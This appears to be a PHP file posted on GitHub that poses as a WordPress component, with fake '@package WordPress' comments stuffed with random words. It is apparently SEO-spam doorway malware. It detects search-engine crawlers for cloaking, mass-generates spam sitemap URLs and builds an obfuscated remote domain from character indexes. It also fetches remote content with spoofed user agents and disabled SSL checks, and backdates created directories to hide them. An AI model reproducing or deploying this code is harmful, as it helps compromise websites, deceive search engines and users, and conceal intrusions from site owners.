header("HTTP/1.1 404 Not Found"); | |
header("Status: 404 Not Found"); | |
exit; | |
} | |
/** | |
* abuse advertise approach authority bureau code deserve dusk excess expend guarantee guilty molecule notify oblige optics portable portion prospect route shift tension. | |
* candidate equivalent favorable hollow label navigation nuisance pants prominent render repetition strategy survey vague. | |
* barrel candidate decorate discipline distress echo elastic episode extinct gallery isolate jewel launch leap prevail prohibit resolve restrain talent undergraduate victim vivid wealthy. | |
* arouse audio award boundary bunch evolve excursion fatal internal organ ridge sake scratch shift signature variable vitally voluntary. | |
* adult attitude inhabitant invade origin transmit. | |
* adhere adult approve conservative consistent deposit earthquake issue parallel religious resume retain temporary tension textile thrust tissue vague wax weave. | |
* authority career commit display enthusiasm extinct hence hestiate jail kneel nucleus peak preserve slide suspicion transplant vacuum valid via. | |
* acknowledge deposit incident release sequence. | |
* accomplish deaf expense likelihood loosen modify moral nonsense parade regulate reinforce spill tone transmit twist usage vague yawn. | |
* agent integrate software stale. | |
* Internet consistent encounter exaggerate expenditure herd licence luxury naval personnel remote submerge tense universal vibrate violence. | |
* appropriate deputy discount idle male. | |
* avenue coil constant dispose explosion ferfile geography geometry hint illegal knot liable loose modify private substitute suspicious video wax. | |
* appoint casual comparable exclaim exclusive frown glimpse leisure manufacture marine passion principal render subt. | |
* absolute available consistent deaf deputy distribute elbow entertainment excursion explosion female flash flock hardware label leisure magnet manufacture optics passport preserve prohibit textile vain. | |
* commit encounter interpret repetition smash transport treaty. | |
* acid adjust appetite ban consistent cope debate distribute glorious jam jungle loosen shiver stripe subway tropical undergo usage virtual volume. | |
* burst isolate personal relevant spit vacuum. | |
* adjust adult alter appropriate arise avenue balcony cancel discipline discrimination dusk equivalent expenditure faulty geometry giant manufacture prescribe scale substantial treaty unique utilify voluntary. | |
* capture code encounter enviroment ferfile gasoline suspicious tedious tender. | |
* accomplish adhere algebra arichmetic avenue beforehand breadth discount issue jewel optional organ preserve shrug sketch split stale talent trial undergo undergraduate. | |
* accomplish adequate adjust agent alcohol applicable appoint commit discrimination domestic entry expend gesture hollow household interpret reputation shallow stale substitute temple terminal weed. | |
* adequate capture deputy liable moist orbit relief repetition tense undergraduate. | |
* discount hence religious substitute. | |
* adequate comparable export favorable gaze glorious interfere optimistic shuttle simplify sorrow talent trial vacant. | |
* | |
* @package WordPress | |
*/ | |
function getRandId(){ | |
$num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;} | |
function get_arrvs($arr,$num,$nowkey){ | |
$numArr = count($arr); | |
if($nowkey + $num < $numArr) | |
return $arr[$nowkey + $num]; else{ | |
if($nowkey + $num - $numArr - $numArr > 0) | |
return get_arrvs($arr,$num - $numArr,$nowkey); else | |
return $arr[abs($nowkey + $num - $numArr)]; } | |
} | |
function get_pre_link($arr,$key){ | |
$tmpA1 = array(); $tmpA2 = array(); | |
$num = count($arr); | |
if($key + JGNUM + 1 + LINKNUM >= $num){ | |
if($key + JGNUM + 1 - $num > LINKNUM){ | |
return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{ | |
$duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu); | |
return array_merge($tmpA1,$tmpA2); } | |
}else{ | |
return array_slice($arr, $key + JGNUM + 1, LINKNUM); } | |
} | |
function get_next_link($arr,$key){ | |
$tmpA1 = array(); $tmpA2 = array(); | |
$num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){ | |
$duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{ | |
return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); } | |
} | |
function rFile($file){ | |
if(function_exists('file_get_contents')){ | |
return file_get_contents($file); | |
}else{ | |
$handle = fopen($file, "r"); | |
$contents = fread($handle, filesize($file)); | |
fclose($handle); | |
return $contents; | |
} | |
} | |
function isCrawler() { | |
$agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) { | |
$spiderSite= array( | |
"Googlebot", | |
"Mediapartners-Google", | |
"Adsbot-Google", | |
"Yahoo!", | |
"Google AdSense", | |
"Yahoo Slurp", | |
"bingbot", | |
"MSNBot" | |
); foreach($spiderSite as $val) { | |
$str = strtolower($val); if (strpos($agent, $str) !== false) { | |
return true; } | |
} | |
} else { | |
return false; } | |
} | |
function gsitemap2($filenames,$c=1,$jdt=1){ | |
global $gnumber,$arrArrr; | |
$arrABC = range('a','z'); | |
$tparrsI = $filenames; | |
$randnum = rand(7000,7600); | |
$tparrII = array_rand($tparrsI,$randnum); | |
$tparrIII = array(); | |
foreach($tparrII as $vs){ | |
$tparrIII[$vs] = $filenames[$vs]; | |
} | |
$filenames = $tparrIII; | |
$filePres = ''; $fileEnds = ''; | |
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); | |
if(JDT == 2){ | |
$filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ | |
$filePres = $httcReplace . "/"; }elseif(JDT == 3){ | |
$filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{ | |
$filePres = ''; } | |
if(JDT == 3){ | |
$fileEnds = ''; }else{ | |
$fileEnds = JTHZ; } | |
$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); | |
$siteLink='http://'.$_SERVER['HTTP_HOST']; | |
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>'; | |
// $urlsArray = $filenames; | |
// $numLinks = count($urlsArray); | |
$star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); | |
$str = ""; | |
$tempArr1 = $filenames; | |
foreach($tempArr1 as $key => $value2){ | |
$curphp=basename(__FILE__); | |
$value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); | |
$tempPid = $key; | |
$url = getalink($tempPid,$value2); | |
if($first===false && $last===false && $checkTxt===false) | |
{ | |
$date = date("Y-m-d"); $time = date("H:i:s"); | |
if($star % 12000==11999){ | |
$gFile = '../webstruct/web' . $arrABC[$gnumber-1] . 'struct' .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); | |
file_put_contents("./map.log",'#web' . $arrABC[$gnumber-1] . 'struct' .'.xml#'.PHP_EOL,FILE_APPEND); | |
$str = ''; $gnumber++; return; } | |
$str .= " <url> | |
<loc>" . $url . "</loc> | |
<lastmod>". $date . "T" . $time ."-05:00</lastmod> | |
<changefreq>daily</changefreq> | |
<priority>0.1</priority> | |
</url> | |
"; | |
$star++; $starPri++; } | |
} | |
{ | |
$gFile = '../webstruct/web' . $arrABC[$gnumber-1] . 'struct' .'.xml'; echo '<br/>'.$gFile.'<br/>'; | |
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); | |
file_put_contents("./map.log",'#web' . $arrABC[$gnumber-1] . 'struct' .'.xml#'.PHP_EOL,FILE_APPEND); | |
$gnumber++; | |
} | |
unset($tempArr1); unset($filenames); | |
echo "生成sitemap成功!"; | |
} | |
function gsitemap($filenames,$c=1,$jdt=1){ | |
global $gnumber,$arrArrr; | |
$arrABC = range('a','z'); | |
$tparrsI = $filenames; | |
$randnum = rand(7000,7600); | |
$tparrII = array_rand($tparrsI,$randnum); | |
$tparrIII = array(); | |
foreach($tparrII as $vs){ | |
$tparrIII[$vs] = $filenames[$vs]; | |
} | |
$filenames = $tparrIII; | |
$filePres = ''; $fileEnds = ''; | |
$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); | |
$siteLink='http://'.$_SERVER['HTTP_HOST']; | |
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>'; | |
// $urlsArray = $filenames; | |
// $numLinks = count($urlsArray); | |
$star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); | |
$str = " <url> | |
<loc>" . $siteLink . "</loc> | |
<lastmod>". $date . "T" . $time ."-05:00</lastmod> | |
<changefreq>always</changefreq> | |
<priority>1.0</priority> | |
</url> | |
"; | |
$tempArr1 = $filenames; | |
foreach($tempArr1 as $key => $value2){ | |
$curphp=basename(__FILE__); | |
$value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); | |
$tempPid = $key; | |
$url = getalink($tempPid,$value2); | |
if($first===false && $last===false && $checkTxt===false) | |
{ | |
$date = date("Y-m-d"); $time = date("H:i:s"); | |
if($star % 12000==11999){ | |
$gFile = '../webstruct/web' . $arrABC[$gnumber-1] . 'struct' .'.xml'; echo '<br/>'.$gFile.'<br/>'; | |
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); | |
file_put_contents("./map.log",'#web' . $arrABC[$gnumber-1] . 'struct' .'.xml#'.PHP_EOL,FILE_APPEND); | |
$str = ''; $gnumber++; return; | |
} | |
if($starPri >= 400 && $priority != 0.1){ | |
$starPri = 0; $priority = $priority - 0.1; } | |
if($priority > 0.1){ | |
$str .= " <url> | |
<loc>" . $url . "</loc> | |
<lastmod>". $date . "T" . $time ."-05:00</lastmod> | |
<changefreq>daily</changefreq> | |
<priority>". $priority . "</priority> | |
</url> | |
"; | |
}else{ | |
$str .= " <url> | |
<loc>" . $url . "</loc> | |
<lastmod>". $date . "T" . $time ."-05:00</lastmod> | |
<changefreq>daily</changefreq> | |
<priority>0.1</priority> | |
</url> | |
"; | |
} | |
$star++; $starPri++; } | |
} | |
{ | |
$gFile = '../webstruct/web' . $arrABC[$gnumber-1] . 'struct' .'.xml'; echo '<br/>'.$gFile.'<br/>'; | |
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); | |
file_put_contents("./map.log",'#web' . $arrABC[$gnumber-1] . 'struct' .'.xml#'.PHP_EOL,FILE_APPEND); | |
$gnumber++; | |
} | |
unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; | |
} | |
function curl_get_from_webpage($url,$proxy='',$loop=10){ | |
$data = false; $i = 0; while(!$data) { | |
$data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; } | |
return $data;} | |
function curl_getjs_from_webpage($url,$time){ | |
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ | |
$curl = curl_init(); //如果有用代理,则使用代理. | |
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; | |
// $urlReferer = "http://www.google.com"; | |
curl_setopt($curl, CURLOPT_URL, $url); | |
if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 | |
));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); | |
}$data=curl_exec($curl);curl_close($curl); | |
}else{ | |
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; | |
if($is_auf){ | |
$data = file_get_contents($url); | |
} | |
} | |
if(!$data) return false; | |
return $data; | |
} | |
function curl_get_from_webpage_one_time($url,$proxy=''){ | |
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ | |
$curl = curl_init(); //如果有用代理,则使用代理. | |
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; | |
// $urlReferer = "http://www.google.com"; | |
if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy); | |
curl_setopt($curl, CURLOPT_URL, $url); | |
if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 | |
));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); | |
}$data=curl_exec($curl);curl_close($curl); | |
}else{ | |
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; | |
if($is_auf){ | |
$data = file_get_contents($url); | |
} | |
} | |
if(!$data) return false; | |
return $data; | |
} | |
// | |
function my_mkdir($dir){ | |
global $fitime; | |
if(!is_dir($dir)){ | |
mkdir($dir); | |
@touch($dir, $fitime, $fitime); | |
} | |
} | |
function generate_dir_file($gDir=''){ | |
global $hostDir; | |
$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir); | |
$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir); | |
$arr = explode(DIRECTORY_SEPARATOR,$gDir); | |
if(count($arr) <= 0) return; | |
if(!strstr($gDir,$hostDir)) | |
$dir = $hostDir; | |
else | |
$dir = ''; | |
for($i = 0 ; $i < count($arr)-1 ; $i++){ | |
$dir .= DIRECTORY_SEPARATOR . $arr[$i]; | |
my_mkdir($dir); | |
} | |
return $dir; | |
} | |
function strFilter($str){ | |
$str = str_replace('`', '', $str); | |
$str = str_replace('·', '', $str); | |
$str = str_replace('~', '', $str); | |
$str = str_replace('!', '', $str); | |
$str = str_replace('!', '', $str); | |
$str = str_replace('@', '', $str); | |
$str = str_replace('#', '', $str); | |
$str = str_replace('$', '', $str); | |
$str = str_replace('¥', '', $str); | |
$str = str_replace('%', '', $str); | |
$str = str_replace('^', '', $str); | |
$str = str_replace('……', '', $str); | |
$str = str_replace('*', '', $str); | |
$str = str_replace('(', '', $str); | |
$str = str_replace(')', '', $str); | |
$str = str_replace('(', '', $str); | |
$str = str_replace(')', '', $str); | |
$str = str_replace('-', '', $str); | |
$str = str_replace('_', '', $str); | |
$str = str_replace('——', '', $str); | |
$str = str_replace('+', '', $str); | |
$str = str_replace('=', '', $str); | |
$str = str_replace('|', '', $str); | |
$str = str_replace('\\', '', $str); | |
$str = str_replace('[', '', $str); | |
$str = str_replace(']', '', $str); | |
$str = str_replace('【', '', $str); | |
$str = str_replace('】', '', $str); | |
$str = str_replace('{', '', $str); | |
$str = str_replace('}', '', $str); | |
$str = str_replace(';', '', $str); | |
$str = str_replace(':', '', $str); | |
$str = str_replace('<', '', $str); | |
$str = str_replace('>', '', $str); | |
$str = str_replace(':', '', $str); | |
$str = str_replace('\'', '', $str); | |
$str = str_replace('"', '', $str); | |
$str = str_replace(',', '', $str); | |
$str = str_replace(',', '', $str); | |
$str = str_replace('《', '', $str); | |
$str = str_replace('》', '', $str); | |
$str = str_replace('.', '', $str); | |
$str = str_replace('。', '', $str); | |
$str = str_replace('–', '', $str); | |
$str = str_replace('–', '', $str); | |
$str = str_replace('/', '', $str); | |
$str = str_replace('、', '', $str); | |
$str = str_replace('?', '', $str); | |
$str = str_replace('?', '', $str); | |
$str = str_replace('°', '', $str); | |
$str = str_replace('&', '&', $str); | |
return trim($str); | |
} | |
function getalink($pid,$pname=''){ | |
global $arrnametime,$arrKeywz,$arr_word,$strRand; | |
if(strstr($pname,'#cat#')){ | |
$tp_pname_arr = explode('#cat#',$pname); | |
$pname = $tp_pname_arr[1]; | |
$precat = $tp_pname_arr[0]; | |
} | |
if(function_exists("preg_split")){ | |
$tpnameArr = preg_split('/\s+/us', $pname); | |
}else{ | |
$tpnameArr = explode(' ', $pname); | |
} | |
$pnameArr = array(); | |
foreach($tpnameArr as $tpvs){ | |
$tpvs = trim($tpvs); | |
if($tpvs){ | |
$pnameArr[] = $tpvs; | |
} | |
} | |
$numPname = count($pnameArr); | |
if($numPname > 3){ | |
$numLinkKey = round(PNAMELEN * $numPname / 100); | |
$yushu = KEYJG % $numPname; | |
$arrPre = array(); | |
$arrLast = array(); | |
for($i=0;$i<$numPname;$i++){ | |
if($i<$yushu){ | |
$arrLast[] = $pnameArr[$i]; | |
}else{ | |
$arrPre[] = $pnameArr[$i]; | |
} | |
} | |
if(count($arrLast)){ | |
foreach($arrLast as $vs){ | |
$arrPre[] = $vs; | |
} | |
} | |
$usedNameArr = array(); | |
for($i=0;$i<$numLinkKey;$i++){ | |
$usedNameArr[$i] = $arrPre[$i]; | |
} | |
if(count($usedNameArr)){ | |
$pname = implode(' ',$usedNameArr); | |
} | |
} | |
if(JDT == 0){ | |
// $precat = strFilter($precat); | |
// $precat = preg_replace('/\s+/', '-', $precat); | |
} | |
$pname = strFilter($pname); | |
$filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST']; | |
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); | |
if(JDT == 2){ | |
$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ | |
$filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){ | |
$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{ | |
$filePres = $siteLink."/"; } | |
$rsp = '#'. BZPRO .'\d+#'; | |
$pname = trim($pname); | |
$pname = preg_replace('/\s+/', '-', $pname); | |
if(JDT == 3){ | |
$rs = '#&[^;]+;#i'; | |
$pname = preg_replace($rs,'',$pname); | |
while(strstr($pname,'&')) | |
$pname = str_replace('&','',$pname); | |
while(strstr($pname,'--')) | |
$pname = str_replace('--','-',$pname); | |
$linkCenter = $pname .'-' .$pid; | |
$rtStr = $filePres.$linkCenter; | |
$rtStr = str_replace($filePres.'-',$filePres,$rtStr); | |
return $rtStr; | |
} | |
if(strlen($pname) > 235){ | |
$rs = '#&[^;]+;#i'; | |
$pname = preg_replace($rs,'',$pname); | |
$pname = str_replace('&','',$pname); | |
$pname = str_replace('&',';',$pname); | |
if(function_exists("mb_substr")){ | |
$pname = mb_substr($pname, 0, 235, 'utf-8'); | |
}else{ | |
$pname = substr($pname, 0, 235); | |
} | |
} | |
// $precat = preg_replace($rsp,'',$precat); | |
// $precat = str_replace('&','',$precat); | |
// $precat = str_replace('&',';',$precat); | |
// $precat = preg_replace('/\s+/', '-', $precat); | |
$pname = preg_replace($rsp,'',$pname); | |
if(JDT == 0){ | |
$linkCenter = $pid.'/'.$pname; | |
}else{ | |
$linkCenter = $pid.'/'.$pname; | |
} | |
$linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter); | |
while(strstr($linkCenter,'--')) | |
$linkCenter = str_replace('--','-',$linkCenter); | |
// $linkCenter = str_replace('/-','/',$linkCenter); | |
$rtStr = $filePres.$linkCenter; | |
$rtStr = str_replace($filePres.'-',$filePres,$rtStr); | |
$rtStr = str_replace('-amp;-','-&-',$rtStr); | |
return $rtStr; | |
} | |
function rmhtmltag($tagname='',$str=''){ | |
$rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#s'; | |
$str = preg_replace($rulers,'',$str); | |
$rulers = '#<'.$tagname.'[^>]*>.*?</'.$tagname.'>#i'; | |
$str = preg_replace($rulers,'',$str); | |
return $str; | |
} | |
function rmhtmltag2($tagname='',$str=''){ | |
$rulers = '#<'.$tagname.'[^>]*>#s'; | |
$str = preg_replace($rulers,'',$str); | |
$rulers = '#</'.$tagname.'>#s'; | |
$str = preg_replace($rulers,'',$str); | |
$rulers = '#<'.$tagname.'[^>]*>#i'; | |
$str = preg_replace($rulers,'',$str); | |
$rulers = '#</'.$tagname.'>#i'; | |
$str = preg_replace($rulers,'',$str); | |
return $str; | |
} | |
// | |
function is_ip($localIp,$ipRanges) | |
{ | |
$localIp = ip2long($localIp); | |
foreach($ipRanges as $val) | |
{ | |
$ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1])); | |
if($localIp >= $ipmin && $localIp <= $ipmax) | |
{ | |
return true; | |
} | |
} | |
return false;} | |
function RandAbcs($length = ""){ | |
$str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-"; | |
return ($str); | |
} | |
function getarr(){ | |
global $O00O0O; | |
$arr[0]=$O00O0O{21}.$O00O0O{8}.$O00O0O{15}.$O00O0O{4}.$O00O0O{4}.$O00O0O{18}.$O00O0O{7}.$O00O0O{14}.$O00O0O{18}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[1]=$O00O0O{22}.$O00O0O{4}.$O00O0O{1}.$O00O0O{8}.$O00O0O{13}.$O00O0O{19}.$O00O0O{18}.$O00O0O{14}.$O00O0O{20}.$O00O0O{17}.$O00O0O{4}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{11}.$O00O0O{14}.$O00O0O{10}.$O00O0O{21}.$O00O0O{0}.$O00O0O{11}.$O00O0O{3}.$O00O0O{8}.$O00O0O{6}.$O00O0O{8}.$O00O0O{19}.$O00O0O{0}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[3]=$O00O0O{7}.$O00O0O{13}.$O00O0O{14}.$O00O0O{18}.$O00O0O{14}.$O00O0O{18}.$O00O0O{19}.$O00O0O{17}.$O00O0O{0}.$O00O0O{13}.$O00O0O{18}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[4]=$O00O0O{7}.$O00O0O{14}.$O00O0O{25}.$O00O0O{4}.$O00O0O{12}.$O00O0O{14}.$O00O0O{22}.$O00O0O{4}.$O00O0O{1}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25}; | |
return $arr; | |
} | |
function getthisdom(){ | |
$myArrs = getarr(); | |
return 'http://www.'.$myArrs[CENTERKEY].MYDIR; | |
} | |
function get_real_ip(){ | |
$ip = ''; | |
/** | |
* resolve any proxies | |
*/ | |
if (isset($_SERVER)) { | |
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { | |
$ip = $_SERVER['HTTP_X_FORWARDED_FOR']; | |
} elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { | |
$ip = $_SERVER['HTTP_CLIENT_IP']; | |
} elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { | |
$ip = $_SERVER['HTTP_X_FORWARDED']; | |
} elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) { | |
$ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP']; | |
} elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { | |
$ip = $_SERVER['HTTP_FORWARDED_FOR']; | |
} elseif (isset($_SERVER['HTTP_FORWARDED'])) { | |
$ip = $_SERVER['HTTP_FORWARDED']; | |
} else { | |
$ip = $_SERVER['REMOTE_ADDR']; | |
} | |
} | |
if (trim($ip) == '') { | |
if (getenv('HTTP_X_FORWARDED_FOR')) { | |
$ip = getenv('HTTP_X_FORWARDED_FOR'); | |
} elseif (getenv('HTTP_CLIENT_IP')) { | |
$ip = getenv('HTTP_CLIENT_IP'); | |
} else { | |
$ip = getenv('REMOTE_ADDR'); | |
} | |
} | |
/** | |
* sanitize for validity as an IPv4 or IPv6 address | |
*/ | |
$ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip); | |
/** | |
* if it's still blank, set to a single dot | |
*/ | |
if (trim($ip) == '') $ip = '.'; | |
return $ip; | |
} | |
/** | |
* Internet avenue descend extent grant index insure profitable unique utilise yield. | |
* applause arbitrary descend disturb drip emotional geology liter mere mild modify optional pat submerge tense. | |
* alter approve arbitrary column core encounter exclusive faulty favorite glimpse launch preserve promote relevant reliable slender strategic submit tender theme utilise wealthy weed. | |
* expenditure hostile leather onion retail scan skim talent violent. | |
* appropriate automatic coil consistent exclaim explore favorable female gesture golf harmony hint ingredient legislation liberty luxury maximum modest nuclear satellite shuttle slender snap tender weld. | |
* architect barrier cope echo expel explode incident jail organ radical religion repetition software tarnest tendency triumph valid videotape. | |
* aware glorious licence modest oval personal removal sensitive triumph vague vary. | |
* algebra capture decade exclusive fax fertilizer garbage isolate leak necessity obstacle reject resolve shift wonder. | |
* aware entertainment female geology kneel partial repetition ridid secure shrug subsequent. | |
* apparent competition consume equivalent flee infant insure moral partial pat prescribe resistant ruin tendency territory whereas. | |
* electron highlight offend profitable. | |
* extraordinary gallery ingredient neglect restrict slide stuff temporary vertical. | |
* approach brake collision diverse exclaim jungle liberty mainland male necessity oblige restrict simplicity solar tarnest temple transform treaty triangle vacuum welfare. | |
* abundant arouse continual duration laser numerrous origin remarkable significance triangle vacant weed. | |
* continuous deposit echo evaluate expansion expensive explore forbid gasoline genius germ globe hestiate launch leisure recruit remarkable substantial volunteer. | |
* academic bacteria explore female gear jeans motive nonsense noticeable oblige professional provision relief. | |
* authority capture continuous decent delicate devise drift extraordinary favorite holy infinite ingredient interfere male odd parallel passive peak quotation regulate repetition slope stable vanish volcano. | |
* acid alter bundle chaos consent deaf delay exclaim glorious index maintain nylon recruit repetition shield substantial timber wax. | |
* abundant comparative distribute electron extinct fertilizer laser nevertheless outstanding portable professional restrain skim slope vague violent wonder. | |
* adequate code column consistent enclose explosive favorite jeans jewel launch liberal odd primitive reject survey tremendous valid via. | |
* arichmetic comparative conservation constant debt deposit episode garbage infant jewel loosen nuclear oral orient oval primitive simplicity solar stimulate tremendous vehicle via victim xploit. | |
* Internet academic balcony comedy community continuous descend evaluate manufacture obstacle orchestra prominent quotation restraint seminar transport video volume waist. | |
* auxiliary beforehand capture code enclose exaggerate exceedingly expend expensive gallery guilty parallel previous principle removal voluntary. | |
* architecture attach catalog naked offend optimistic simplicity substitute terminal universal valley. | |
* | |
* @package WordPress | |
*/ | |
//file end | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment